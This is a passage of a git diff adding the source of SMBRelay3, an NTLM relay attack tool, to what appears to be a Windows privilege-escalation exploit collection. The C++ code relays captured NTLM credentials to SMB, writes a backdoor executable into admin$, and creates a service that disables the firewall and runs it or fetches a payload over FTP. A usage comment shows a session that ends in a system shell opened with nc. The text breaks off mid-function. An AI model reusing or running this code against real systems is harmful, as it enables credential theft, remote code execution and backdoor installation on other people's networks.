(STANDARD_RIGHTS_REQUIRED|SERVICE_QUERY_CONFIG|SERVICE_CHANGE_CONFIG|SERVICE_QUERY_STATUS|SERVICE_ENUMERATE_DEPENDENTS|SERVICE_START|SERVICE_STOP|SERVICE_PAUSE_CONTINUE|SERVICE_INTERROGATE|SERVICE_USER_DEFINED_CONTROL) + + #define SC_MANAGER_ALL_ACCESS 0xf003f + #define SC_MANAGER_CONNECT 1 + #define SC_MANAGER_CREATE_SERVICE 2 + #define SC_MANAGER_ENUMERATE_SERVICE 4 + #define SC_MANAGER_LOCK 8 + #define SC_MANAGER_QUERY_LOCK_STATUS 16 + #define SC_MANAGER_MODIFY_BOOT_CONFIG 32 + +// Service TYPE + #define SERVICE_WIN32_OWN_PROCESS 0x00000010 + #define SERVICE_WIN32_SHARE_PROCESS 0x00000020 + +//start TYPE + #define SERVICE_BOOT_START 0x00000000 + #define SERVICE_SYSTEM_START 0x00000001 + #define SERVICE_AUTO_START 0x00000002 + #define SERVICE_DEMAND_START 0x00000003 + #define SERVICE_DISABLED 0x00000004 +#endif + +//Build SMB Packet +smheader *BuildSmbPacket(smheader *PreviousSmbMessage,uint8 SmbCommand,uint8 SubCommand, void *data, int DataSize); + +//Stub Generation for OpenServices Functions.. +int CreateServiceWStub(char *destionation,char *ContextHandle,char *ServiceName, char *ServiceDescription,char *path, int StartType, int ServiceType); +int ChangeServiceConfigWStub(char *destionation,char *ContextHandle,char *path, int StartType, int ServiceType); +int OpenServiceWStub(char *destionation,char *ContextHandle,char *servicename, int flags); +int OpenScManagerWStub(char *destionation, char *data, int flags); +//Tree Connect +int BuildTreeConnectAndXStub(char *destination,char *password, char *resource, char *service); +//SMB Negotiation +char *AddDialect(char *data, char *name, uint8 type, int *PacketSize); + +#ifdef WIN32 +CtxItem *AddBinddingInformation(CtxItem *CurrentCtx, char *Abstract, char *Transfer, int MayorVersion, int MinorVersion,int *PacketSize); +#endif +void SetEnviroment(uint16 sessionUserID, uint16 sessionTreeID, uint16 sessionFID); +#endif + + diff --git a/97-Windows提权/MS08-068/src/smbrelay.h b/97-Windows提权/MS08-068/src/smbrelay.h new file mode 100644 index 0000000..9965021 --- /dev/null +++ b/97-Windows提权/MS08-068/src/smbrelay.h @@ -0,0 +1,51 @@ +#ifndef _SBMRELAY_H_ +#define _SMBRELAY_H_ + +#define _CRT_SECURE_NO_DEPRECATE +#include +#ifdef WIN32 +#include +#define socklen_t int +#endif +#include "misc.h" +#include "smb.h" +#include "ntlm.h" + + +#define GetNTLMPacketFromSmbPacket(a) ((char*)a+0x2b+4) +#define GetNTLMPacket3FromSmbPacket(a) ((char*)a+ sizeof(smheader) -sizeof(((smheader*)a)->buffer) +sizeof(SessionSetupAndX)) + +#define SmbPacketLen(a) (SREV(a->SmbMessageLength)+4) +//#define PrintErrorMessage(a) printf("%s",a); return(0); +//#define PrintErrorMessage(a) printf(a); return(0); + +#define ATTACK_NONE 0x00 +#define REPLAY_HTTP 0x01 +#define REPLAY_SMB 0x02 +#define REPLAY_POP3 0x03 +#define REPLAY_IMAP 0x04 +#define REPLAY_SMTP 0x05 +#define REPLAY_DNS 0x06 +#define REPLAY_TELNET 0x07 +#define REPLAY_MSSQL 0x08 + +#define PSEXEC 0x10 + +#define debug (verbose==2) + + + +//Functions +//int InitSmbHandshake(RELAY *relay,char *Buffer, int BufferSize); +int HandleIncommingSmbRequest(RELAY *relay, char *destinationhostname, int destinationport); + +int ReplayAttackAgainst(int Protocol,char *hostname, int port); +int StablishNTLMSession(RELAY relay,char *host, char *lpUserName, char *lpPassword); +int ExecuteCode( RELAY relay); + + + + +#endif + + diff --git a/97-Windows提权/MS08-068/src/smbrelay3.cpp b/97-Windows提权/MS08-068/src/smbrelay3.cpp new file mode 100644 index 0000000..e060cbe --- /dev/null +++ b/97-Windows提权/MS08-068/src/smbrelay3.cpp @@ -0,0 +1,892 @@ +/* +* +* SMBRELAY 3 - NTLM replay attack (version 1.0 ) public version +* (c) 2008 Andres Tarasco Acua ( atarasco _at_ gmail.com ) +* URL: http://tarasco.org/Web/tools.html +* +* +* This new version of smbrelay have been developed for supporting more attacks than previous +* versions and should work under win32 and linux. (SMB to SMB attack needs a free 445/tcp port +* so this attack can be "only" executed under linux or under modified win32 system. +* +* To run smbrelay3 under win32 change the value TransportBindName="\\Device\\" to TransportBindName="" +* under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters and then reboot. +* +* +* This is the first public tool allowing attacks against other protocols like HTTP. This tool +* couldnt be written without Iaki Lopez NTLM library. :) +* +* Main goal of SMBRELAY3 is to execute remote code when receiving incoming SMB/HTTP/IMAP/POP3/SMTP connections +* from network users. If the incoming request is from an user with with administrative privileges or just +* "advanced user" privileges on the target system, you will get automatically get a system shell. +* +* If the incoming connection is from a simple user, srvcheck attack is executed with replayed credentials. +* +* This smbrelay3 release implements the following attacks: +* - SMB to SMB relay +* - HTTP to SMB relay +* - SMTP to SMB relay +* - POP3 to SMB relay +* - IMAP to SMB relay +* +* Also there is another feature named "--psexec attack" that have been added. This feature allows remote shells, +* like sysinternals psexec, under non win32 plataforms. This mode allows to use the native pwdump output hash to +* authenticate against the remote service. You dont need anymore to crack your NTLM hashes in order to connect to +* a remote service. +* +* Lots of features can be added in the future like binding stabilished connections to port 445 and allowing +* incoming connections. However, just attacking administrative accounts seems to be the fast choice ;) +* +* Here is an HTTP to SMB attack example: +* + +C:\smbrelay3>smbrelay3.exe --ListForHTTPRequests --AlternativePort 81 --v + +SmbRelay3 - SMB to SMB and HTTP to SMB replay attack +(c) 2007 - 2008 Andres Tarasco - atarasco@gmail.com +Website: http://www.tarasco.org + +[+] Listening HTTP thread at port 81 +[+] Accepted Connection - Replaying against 192.168.1.2 +[+] Read First HTTP Request... +[+] Sending Default HTTP 401 Error response and asking for authentiation NTLM +[+] Read Second HTTP Request with Auhorization Header.. +Init HTTP to SMB attack - Connecting with: 192.168.1.2:445 +[+] Sending SMB Authentication Handshake +[+] Received SMB Message with NTLM v2 packet +[+] Sending NTLM Challenge from SMB Server to the HTTP Client +[+] Received Final Authentication packet from remote HTTP Client +UserName: Administrator +DomainName: 192.168.1.36 +WorkstationName: SERVIDOR +[+] Trying to authenticate to remote SMB as Administrator +[+] Sending Final SMB Authentication packet with NTLM Message type 3 +[+] SessionSetupAndX Completed +[+] Authenticacion against 192.168.1.2 Succeed with username Administrator +[+] Connecting against IPC$ +[+] Trying to connect to admin$ +[+] Creating Remote File smrs.exe under admin$ +[+] Writing File smrs.exe into admin$ +[+] Closing File handle - FID: 800f +[+] Opening Remote Service Control Manager pipe \svcctl +[+] Sending RPC BindRequest to SCM pipe +[+] Reading Response from Binding Request +[+] Opening Remote Service Control Manager +[+] Creating Remote Service +[+] Opening Remote Service +[+] Starting Remote Service... +[+] Now Remote Service is running... Try to connect to 192.168.1.2:8080 + +C:\smbrelay3>nc 192.168.1.2 8080 +Microsoft Windows [Version 5.2.3790] +(C) Copyright 1985-2003 Microsoft Corp. + +C:\WINDOWS\system32> + + +Notes: +------- +1- When the remote connection tries to authenticate itself as an anonymous connection, smbrelays answers with an +STATUS_LOGON_FAILURE Message. That will force the incoming client to authenticate themself as an user instead of using null session. + +2- SMB to SMB relay does not work replaying the authentication against the same incoming Windows 2003 client. +Windows 2003 security baseline do not allow to reuse the same NTLMv2 Challenge for both incomming and outgoing connection. +Its recomended to use the "--SMBDestinationHost" parameter as an alternative host to compromise. +Note: This restriction only aplies to SMBtoSMB replay attacks. Other protocols do not suffer from the same restriction. + +3- For more information, check the readme file. + +4- Verbose parameter (--v or --vv) is not working properly yet, fix it yourself or wait for an improved release (maybe never) + +5- This is the public release. Improved relay attacks like HTTP/SMB --to--> "HTTP OWA email download" can be done just tweaking the code. Link it with +your favorite HTTP library (like FSCAN HTTP Core) and do it yourself =) (do not ask) + +6- To compile smbrelay3 under linux, just type "g++ -lpthread -lssl *.cpp -o smbrelay3" + +*/ +#include "smbrelay.h" +#include "httprelay.h" +#include "smtprelay.h" +#include "pop3relay.h" +#include "imaprelay.h" +#include "smb.h" +#include "ntlm.h" +#include "misc.h" +#include "payload.h" + + +#include +#include +#include + + +const uint8 SpoofedChallengeKey[]="\x11\x22\x33\x44\x55\x66\x77\x88"; +#ifdef WIN32 +#pragma comment(lib, "ws2_32.lib") +#endif + + +char lpBackdoorFile[]="smrs.exe"; +int ListForSMBRequests=0; +int ListForHTTPRequests=0; +int ListForSMTPRequests=0; +int ListForIMAPRequests=0; +int ListForPOP3Requests=0; +int ProxySMB=0; +int PsExec=0; +int AdminResourceAvailable; + +int ListeningPort; //Listen port +int DestinationPort=445; +char *DestinationHost=NULL; + +char *lpUsername; +char *lpPassword; + + +int verbose=0; //Verbose Level + + +char ftphost[100]=""; +int ftpport=21; +char ftpusername[100]="a"; +char ftppass[100]="a"; +char lpSrcHostname[256]="SmbRelay3"; +extern uint16 MultpleID; + +/***************************************************************************************************************/ + +int HandleIncommingSmbRequest(RELAY *relay, char *destinationhostname, char *AlternateDestinationHostname, int destinationport, int ReconnectToSameTarget) +{ + + unsigned char buf[4096]; + unsigned char buf2[4096]; + smheader *SmbPacket1,*SmbPacket2;//,*SmbPacket3; + smheader *errorpacket; + smheader *NegotiateProtocol; + smheader *NegotiateProtocolResponse; + int i; + char *p; + int leido; + char clientRequest[4096]; + uint16 OriginalUserID; + + //Conectando con el servidor y Negociando SMB + CleanLine(verbose); + if (ReconnectToSameTarget) { + printf("[+] Connecting with remote SMB Server: %s:%i\r",destinationhostname,destinationport); + } else { + printf("[+] Connecting with Alternative SMB Server: %s:%i\r",destinationhostname,destinationport); + } + + i=ConnectToRemoteHost(relay,destinationhostname,destinationport); + if (!i) { + CleanLine(verbose); + printf("[-] Unable to connect to remote host\r"); + if (!AlternateDestinationHostname) { + return(0); + } else { + return (HandleIncommingSmbRequest(relay,AlternateDestinationHostname,NULL,destinationport,0)); + } + } + + CleanLine(verbose); + printf("[+] Sending SMB Protocol Handshake against remote SMB Server: %s\r",destinationhostname); + //if (verbose) printf("\n"); + p = AddDialect(NULL,"PC NETWORK PROGRAM 1.0",0x02, &i); + //p = AddDialect(p,"PC NETWORK PROGRAM 1.0", 0x02,&i); + p = AddDialect(p,"LANMAN1.0", 0x02,&i); + p = AddDialect(p,"Windows for Workgroups 3.1a", 0x02,&i); + p = AddDialect(p,"LM1.2X002", 0x02,&i); + p = AddDialect(p,"LANMAN2.1", 0x02,&i); + p = AddDialect(p,"NT LM 0.12", 0x02,&i); + NegotiateProtocol=BuildSmbPacket(NULL,NEGOTIATEPROTOCOLREQUEST,0,p,i); + free(p); + i=SendBytesAndWaitForResponse(relay->destination,(char*)NegotiateProtocol,SmbPacketLen(NegotiateProtocol),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); + free(NegotiateProtocol); + if (i<=0){ + CleanLine(verbose); + printf("[-] Initial SMBHandShake (LanManager Negotiation) Failed\n"); + return(0); + } + //Enviando peticiones de negociacion con el servidor para obtener el challenge + SmbPacket1=BuildSmbPacket1(); + if (debug) { + CleanLine(verbose); + printf("\n[*] Dumping SMB Packet With NTLM Message Type 1\n"); + DumpMem((char*)SmbPacket1,SmbPacketLen(SmbPacket1)); + } + CleanLine(verbose); + printf("[+] Sending SMB packet with NTLM message I against remote SMB Server:%s\r",destinationhostname); + + SmbPacket2=GetSmbPacket2(relay,SmbPacket1); + free(SmbPacket1); + if (SmbPacket2==NULL) { + printf("[-] Unable to receive SMB Packet with NTLM Message Type 2\n"); + return(0); + } + if (SmbPacket2->NtStatus!=0xc0000016) { + printf("[-] NTLM Negotiation Failed (Status = 0x%8.8x)\n",SmbPacket2->NtStatus); + return(0); + + } + + + tSmbNtlmAuthChallenge *challenge=(tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2); + if (verbose) { + printf("[*] Dumping Received SMB Packet with NTLM Message2\r"); + CleanLine(verbose); + dumpAuthChallenge(stderr,challenge); + if (debug) DumpMem((char*)SmbPacket2,SmbPacketLen(SmbPacket2)); + } + if (ReconnectToSameTarget) + { + //HACK! Windows 2003 does not support SMBtoSMB relay against the same host, so we are going to check signatures + //IF the system is protected, try with an alternate host + // printf("blob: %i\n",( (SessionSetupAndXResponse*)(SmbPacket2->buffer))->SecurityBloblength); + // DumpMem((char*) SmbPacket2->buffer + sizeof(SessionSetupAndXResponse) + ( (SessionSetupAndXResponse*)(SmbPacket2->buffer))->SecurityBloblength +1,40); + Widetochar((char*)buf2,(char*) SmbPacket2->buffer + sizeof(SessionSetupAndXResponse)+ ( (SessionSetupAndXResponse*)(SmbPacket2->buffer))->SecurityBloblength +1,40); + //printf("Native OS: %s\n",buf2); + if ( (memcmp(buf2,"Windows 2003",12)==0) || (memcmp(buf2,"Windows Server 2003",19)==0) || (memcmp(buf2,"Windows Vista",19)==0) ) + { + closesocket(relay->destination); + CleanLine(verbose); + if (AlternateDestinationHostname) + { + printf("[-] Incoming client is Windows 2003. Trying alternative SMB Host %s\r",AlternateDestinationHostname); + return ( HandleIncommingSmbRequest(relay, AlternateDestinationHostname,NULL,destinationport,0) ); + } else { + printf("[-] Incoming client is Windows >= 2003. Unable to attack the same host\n"); + printf("[-] Next time try to add an extra target with --SMBDestinationHost\r"); + return(0); + } + + } + } + + + + //Negociando LanManager con el cliente + /******************init*******************************/ + CleanLine(verbose); + printf("[+] Negotiating SMB LanManager Protocol with incomming client\r"); + leido=recv( relay->source,clientRequest,sizeof(clientRequest),0 ); + + MultpleID=((smheader*)clientRequest)->multipleID; + + NegotiateProtocolResponse=BuildSmbPacket(NULL,NEGOTIATEPROTOCOLREQUEST,CONTINUERESPONSE,NULL,0); + send(relay->source,(char*)NegotiateProtocolResponse,SmbPacketLen(NegotiateProtocolResponse),0); + + + //leyendo peticion SMB del cliente (paquete NTLMv1) + CleanLine(verbose); + printf("[+] Reading Incoming request with NTLM packet type 1\r"); + leido=recv( relay->source,clientRequest,sizeof(clientRequest),0 ); + if (debug) { + CleanLine(verbose); + printf("[*] Dumping received SMB Packet ( %i bytes )\n",leido); + DumpMem(clientRequest,leido); + } + + //printf("[+] Answering Incoming request with SMB packet with NTLM type 2 (Session key)\r"); + CleanLine(verbose); + printf("[+] Sending Challenge Key and waiting for authentication packet\r"); + + OriginalUserID=SmbPacket2->UserID; + MultpleID+=64; + SmbPacket2->multipleID=MultpleID; + + leido=SendBytesAndWaitForResponse(relay->source,(char*)SmbPacket2, SmbPacketLen(SmbPacket2),(char*)clientRequest,sizeof(clientRequest),SMBWAITTIMEOUT); + + if (leido==0) { + CleanLine(verbose); + printf("[-] Error while reading NTLM type3 packet from incomming SMB connection\n"); + return(0); + } + + if (debug) { + CleanLine(verbose); + printf("[*] Dumping received SMB Packet ( %i bytes )\n",leido); + DumpMem((char*)clientRequest,leido); + } + + if ( ((char*)clientRequest)[0] == SESSIONLOGOFF ) { + // if ( ((smheader*)clientRequest)->SmbMessageType == SESSIONLOGOFF ) { + CleanLine(verbose); + printf("[-] Error. The client forced LogOff and disconnected.\n"); + return(0); + } + + + //NULL SESSION + if ( ((tSmbNtlmAuthResponse *)GetNTLMPacket3FromSmbPacket((smheader *)clientRequest))->uUser.len==0) { + CleanLine(verbose); + printf("[-] Error. The client tried to authenticate with a Null Session.\n"); + errorpacket=BuildSmbPacket((smheader*)clientRequest,SESSIONSETUPANDX,ERRORRESPONSE,NULL,0); + errorpacket->flags=SmbPacket2->flags; + if (debug) { + DumpMem((char*)errorpacket,SmbPacketLen(errorpacket)); + } + send(relay->source,(char*)errorpacket,SmbPacketLen(errorpacket),0); + shutdown(relay->source,0); + return(0); + + } + + + ((smheader*)clientRequest)->UserID=OriginalUserID; + i=SendBytesAndWaitForResponse(relay->destination,(char*)clientRequest, SmbPacketLen(((smheader*)clientRequest)),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); + if (i<=0){ + printf("[-] Error reading Server Authentication Response \n"); + return(0); + } + if (debug) { + printf("[*] SessionSetupAndX Completed - Dumping received packet \n"); + DumpMem(buf,i); + } + + if (((smheader*)buf)->NtStatus!=0x00000000) { + printf("[+] SessionSetupAndX Completed. Authentication Failed \n"); + errorpacket=BuildSmbPacket((smheader*)clientRequest,SESSIONSETUPANDX,ERRORRESPONSE,NULL,0); + errorpacket->flags=SmbPacket2->flags; + send(relay->source,(char*)errorpacket,SmbPacketLen(errorpacket),0); + return(0); + } + if ( ((SessionSetupAndXResponse*)((smheader*)buf)->buffer)->Action & 0x0001 ) + { + printf("[-] Authentication against Remote Host Failed. (Connected as Guest)\n"); + errorpacket=BuildSmbPacket((smheader*)clientRequest,SESSIONSETUPANDX,ERRORRESPONSE,NULL,0); + errorpacket->flags=SmbPacket2->flags; + send(relay->source,(char*)errorpacket,SmbPacketLen(errorpacket),0); + return(0); + } + if (verbose) { + printf("[+] Sending an STATUSOK Message to the client \n"); + } + + errorpacket=BuildSmbPacket((smheader*)clientRequest,SESSIONSETUPANDX,CONTINUERESPONSE,NULL,0); + errorpacket->flags=SmbPacket2->flags; + send(relay->source,(char*)errorpacket,SmbPacketLen(errorpacket),0); + shutdown(relay->source,0); + + + printf("[+] SessionSetupAndX Completed. Authenticacion Succeed \n"); + ExecuteCode( *relay); + return(0); +} +/*********************************************/ +int ReplayAttackAgainst(int srcProtocol, int dstProtocol,int port,char *hostname, int DestinationPort) +{ + //Wait for incoming HTTP Requests and try + SOCKET wsl; + struct sockaddr_in door; + RELAY *relay; + char tmp[256]; + + int clientLen; + + if((wsl = socket(PF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) return 1; + door.sin_family = AF_INET; + door.sin_addr.s_addr = htonl(INADDR_ANY); + door.sin_port = htons(port); + + if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { + printf("[-] Error. Unable to bind to port %i\n",port); + closesocket(wsl); + return 0; + } + if(listen(wsl, SOMAXCONN) == INVALID_SOCKET) { + printf("[-] Error. Unable to listen at port :%i\n",port); + closesocket(wsl); + return 0; + } + while (1) { + printf("[+] Listening for incomming connections at port %i\r",port); + relay=(RELAY*)malloc(sizeof(RELAY)); + clientLen=sizeof(relay->sourceaddr); + relay->source=accept(wsl,(struct sockaddr *) &relay->sourceaddr,(socklen_t*)&clientLen); + if (hostname) + { + strcpy(tmp,hostname); + } else { + strcpy(tmp,inet_ntoa(relay->sourceaddr.sin_addr)); + } + strcpy(relay->hostname,tmp); + printf("[+] Accepted Connection - Replaying against %s\n",tmp); + relay->dstProtocol = dstProtocol; + //if (verbose) printf("\n"); + switch (srcProtocol) + { + case REPLAY_HTTP: + HandleIncommingHTTPRequest(relay,tmp,DestinationPort); + break; + case REPLAY_SMB: + HandleIncommingSmbRequest(relay,inet_ntoa(relay->sourceaddr.sin_addr),hostname,DestinationPort,1); + break; + case REPLAY_SMTP: + HandleIncommingSMTPRequest(relay,tmp,DestinationPort); + break; + case REPLAY_POP3: + HandleIncommingPOP3Request(relay,tmp,DestinationPort); + break; + case REPLAY_IMAP: + HandleIncommingIMAPRequest(relay,tmp,DestinationPort); + break; + default: + printf("[-] protocol %i not supported or implemented\n",srcProtocol); + return(0); + break; + } + closesocket(relay->destination); + closesocket(relay->source); + free(relay); + + } + return(1); +} + + + +/*********************************************/ +int StablishNTLMSession(RELAY relay,char *host, char *lpUserName, char *lpPassword) +{ + + unsigned char buf[4096]; + smheader *SmbPacket1,*SmbPacket2,*SmbPacket3; + smheader* NegotiateProtocol; + int i; + char *p; + + printf("[+] Sending SMB Authentication Handshake \r"); + p = AddDialect(NULL,"PC NETWORK PROGRAM 1.0",0x02, &i); + p = AddDialect(p,"LANMAN1.0", 0x02,&i); + p = AddDialect(p,"Windows for Workgroups 3.1a", 0x02,&i); + p = AddDialect(p,"LM1.2X002", 0x02,&i); + p = AddDialect(p,"LANMAN2.1", 0x02,&i); + p = AddDialect(p,"NT LM 0.12", 0x02,&i); + NegotiateProtocol=BuildSmbPacket(NULL,NEGOTIATEPROTOCOLREQUEST,0,p,i); + free(p); + i=SendBytesAndWaitForResponse(relay.destination,(char*)NegotiateProtocol,SmbPacketLen(NegotiateProtocol),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); + free(NegotiateProtocol); + + //i=InitSmbHandshake(&relay,(char*)buf,sizeof(buf)); + if (i<=0){ + printf("[+] Initial SMBHandShake (LanManager Negotiation) Failed \n"); + return(0); + } + + SmbPacket1=BuildSmbPacket1(); + if (debug) { + printf("\n[*] Dumping SMB Packet With NTLM Message Type 1 \n"); + DumpMem((char*)SmbPacket1,SmbPacketLen(SmbPacket1)); + } + + SmbPacket2=GetSmbPacket2(&relay,SmbPacket1); + free(SmbPacket1); + if (SmbPacket2==NULL) { + printf("[-] Unable to receive SMB Packet with NTLM Message Type 2 \n"); + free(SmbPacket2); + return(0); + } + + if (SmbPacket2->NtStatus!=0xc0000016) { + + printf("[-] NTLM Negotiation Failed (Status = 0x%8.8x)\n",SmbPacket2->NtStatus); + free(SmbPacket2); + return(0); + } + + + tSmbNtlmAuthChallenge *challenge=(tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2); + + if (verbose) { + printf("[*] Dumping Received SMB Packet with NTLM Message2\n"); + dumpAuthChallenge(stderr,challenge); + if (debug) DumpMem((char*)SmbPacket2,SmbPacketLen(SmbPacket2)); + + } + SmbPacket3=GetSmbPacket3(SmbPacket2,lpUserName, lpPassword,NULL,lpSrcHostname,(tSmbNtlmAuthResponse*)NULL); //<- anonymous connection under windows 2000 + + free(SmbPacket2); + if (debug) { + printf("\n[*] Dumping Generated SMB Packet with NTLM Message3\n"); + DumpMem((char*)SmbPacket3,SmbPacketLen(SmbPacket3)); + } + i=SendBytesAndWaitForResponse(relay.destination,(char*)SmbPacket3, SmbPacketLen(SmbPacket3),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); + free(SmbPacket3); + //free(SmbPacket2); + if (i<=0){ + printf("[-] Error reading Server Authentication Response \n"); + return(0); + } + + + if (debug) { + printf("[*] SessionSetupAndX Completed - Dumping received packet \n"); + DumpMem(buf,i); + } + + if (((smheader*)buf)->NtStatus!=0x00000000) { + printf("[-] SessionSetupAndX Completed \n"); + printf("[-] Authentication against Remote Host Failed (Error: 0x%8.8X\n",((smheader*)buf)->NtStatus!=0x00000000); + return(0); + } + + if ( ((SessionSetupAndXResponse*)((smheader*)buf)->buffer)->Action & 0x0001 ) + { + printf("[-] Authentication against Remote Host Failed. (Connected as Guest)\n"); + + return(0); + } + + SetEnviroment(((smheader*)buf)->UserID,0,0); + printf("[+] Authentication against %s Succeed as %s\n",host,lpUserName); + return(1); + + /**************/ + + + +} + + + + + +/*********************************************/ +int ExecuteCode( RELAY relay) +{ + unsigned char buf[4096]; + char ServicePath[4096]; + char path[256]; + smheader *packet; + int i; + uint16 FID; + uint8 ContextHandle[20 + 8]; // Alloc 8 more bytes needed by StartServiceW() stub + int len; + char data[4046]; + int status; + CtxItem *ctx; + + + //CONNECT TO IPC$ + memset(buf,'\0',sizeof(buf)); + memset(ContextHandle,'\0',sizeof(ContextHandle)); + //sprintf(path,"\\\\%s\\IPC$",inet_ntoa(relay.destinationaddr.sin_addr)); + sprintf(path,"\\\\%s\\IPC$",relay.hostname); + i=BuildTreeConnectAndXStub((char*)buf,"",path,"?????"); + packet=BuildSmbPacket((smheader*)NULL,TREECONNETANDX,0,buf,i); + + printf("[+] Connecting against %s\r",path); + if (verbose) + { + printf("\n"); + if (debug) DumpMem((char*)packet,SmbPacketLen(packet)); + } + i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); + free(packet); + if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){ + printf("[-] Error. Unable to connect to IPC$ \n"); + return(0); + } + + + //Copy remote file to admin$ + status=WriteRemoteFile(relay, (smheader*)buf,lpBackdoorFile ); + + //Bind to openSCManager + packet=BuildSmbPacket((smheader*)buf,NTCREATEANDX,0,(void*)"\\svcctl",0); + printf("[+] Opening Remote Service Control Manager pipe \\svcctl \r"); + if (verbose) + { + printf("\n"); + if (debug) DumpMem((char*)packet,SmbPacketLen(packet)); + } + i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); + free(packet); + if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){ + printf("[-] Error. Unable to Open Control Manager pipe \\svcctl \n"); + return(0); + } + + + //Save "\\svcctl" File Identification (FID) porque sera utilizado mas adelante en la peticion ReadAndX + memcpy((char*)&FID,((smheader*)buf)->buffer+6,2); + + //Enviamos una peticion RPC binding +#ifdef WIN32 + ctx=(CtxItem *)AddBinddingInformation(NULL,"367abb81-9844-35f1-ad32-98f038001003","8a885d04-1ceb-11c9-9fe8-08002b104860",2,0,&i); +#else + //HACK: We need to generate an uuidtostring() function for linux + i = sizeof(CtxItem)*2;//dcerpcbind->NumberOfCtx; + ctx=(CtxItem*)malloc(i);//dcerpcbind->NumberOfCtx); + ctx[0].ContextID=0; + ctx[0].NumberOfTransItems=1; + ctx[0].padding=0; + ctx[0].AbstractSyntaxis.MayorVersion=2; + ctx[0].AbstractSyntaxis.MinorVersion=0; + memcpy((char*)ctx[0].AbstractSyntaxis.uuid,"\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03",16); + ctx[0].TransferSyntaxis.MayorVersion=2; + ctx[0].TransferSyntaxis.MinorVersion=0; + memcpy((char*)ctx[0].TransferSyntaxis.uuid,"\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60",16); + + ctx[1].ContextID=1; + ctx[1].NumberOfTransItems=1; + ctx[1].padding=0; + ctx[1].AbstractSyntaxis.MayorVersion=2; + ctx[1].AbstractSyntaxis.MinorVersion=0; + memcpy((char*)ctx[1].AbstractSyntaxis.uuid,"\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03",16); + ctx[1].TransferSyntaxis.MayorVersion=1; + ctx[1].TransferSyntaxis.MinorVersion=0; + memcpy((char*)ctx[1].TransferSyntaxis.uuid,"\x2c\x1c\xb7\x6c\x12\x98\x40\x45\x01\x00\x00\x00\x00\x00\x00\x00",16); +#endif + + packet=BuildSmbPacket((smheader*)buf,WRITEANDX,RPCBIND,ctx,i); + free(ctx); + if (verbose) + { + printf("[*] Sending RPC BindRequest to SCM pipe \n"); + if (debug) DumpMem((char*)packet,SmbPacketLen(packet)); + } + i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); + free(packet); + if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){ + printf("[-] Error. Unable to bind to SCM pipe \n"); + return(0); + } + + //Leemos la respuesta del rpc binding. hay que hacerlo en otro paquete para que funcione correctamente. + //De lo contrario obtenemos el error pipe bussy + packet=BuildSmbPacket((smheader*)buf,READANDX,0,NULL,0); + ((ReadAndX*)packet->buffer)->FID=FID; + if (verbose) + { + printf("[*] Reading Response from Binding Request \n"); + if (debug) DumpMem((char*)packet,SmbPacketLen(packet)); + } + i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); + free(packet); + if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){ + printf("[-] Error. Bad response from last Bindding attempt \n"); + return(0); + } + + //Open SCMANAGER for Writting... + sprintf(path,"\\\\%s",inet_ntoa(relay.destinationaddr.sin_addr)); + len=OpenScManagerWStub(data,path,SC_MANAGER_CREATE_SERVICE) ; + packet=BuildSmbPacket((smheader*)buf,SMB_COM_TRANSACTION,OPENSCMANAGER,(char*)data,len); + ((SMB_COM_TRANSACTION_STRUCT*)packet->buffer)->FID=FID; + printf("[+] Opening Remote Service Control Manager (Creating Service) \r"); + if (verbose) + { + printf("\n"); + if (debug) DumpMem((char*)packet,SmbPacketLen(packet)); + } + + i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); + free(packet); + + if (( i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) || (GetDceRpcPacketFromBuffer(buf)->PacketType != RPC_RESPONSE) ){ + printf("[-] Error. Unable to Open Remote Service Control Manager (DCERPC FAULT)\n"); + + if (strlen(ftphost)==0) { + printf("[-] ftphost parameter not selected. Unable to execute srvcheck attack\n"); + return(0); + } + GenerateFTPTransfer(ServicePath,ftphost,ftpport,ftpusername,ftppass,lpBackdoorFile,NULL); + return (AttackWeakServices(relay, (char*)buf,path, FID,(char*)ServicePath)); + + } + + memcpy((char*)ContextHandle,buf+i-24,20); + //status=0; + + + if (status) { //Creamos el servicio y lo abrimos para inciar + sprintf(ServicePath,"cmd.exe /c netsh firewall set opmode DISABLE DISABLE & %s",lpBackdoorFile); + } else { + if (strlen(ftphost)==0) { + printf("[-] ftphost parameter not selected. Unable to execute reverse payload\n"); + return(0); + } + GenerateFTPTransfer(ServicePath,ftphost,ftpport,ftpusername,ftppass,lpBackdoorFile,NULL); + } + + len=CreateServiceWStub(data,(char*)ContextHandle,"SmbRelay","Smbrelay3 Shell Service",ServicePath,SERVICE_AUTO_START,SERVICE_WIN32_OWN_PROCESS); + packet=BuildSmbPacket((smheader*)buf,SMB_COM_TRANSACTION,CREATESERVICE,data,len);//ContextHandle, 20); + ((SMB_COM_TRANSACTION_STRUCT*)packet->buffer)->FID=FID; + printf("[+] Creating Remote Service \r"); + if (verbose) + { + printf("\n"); + if (debug) 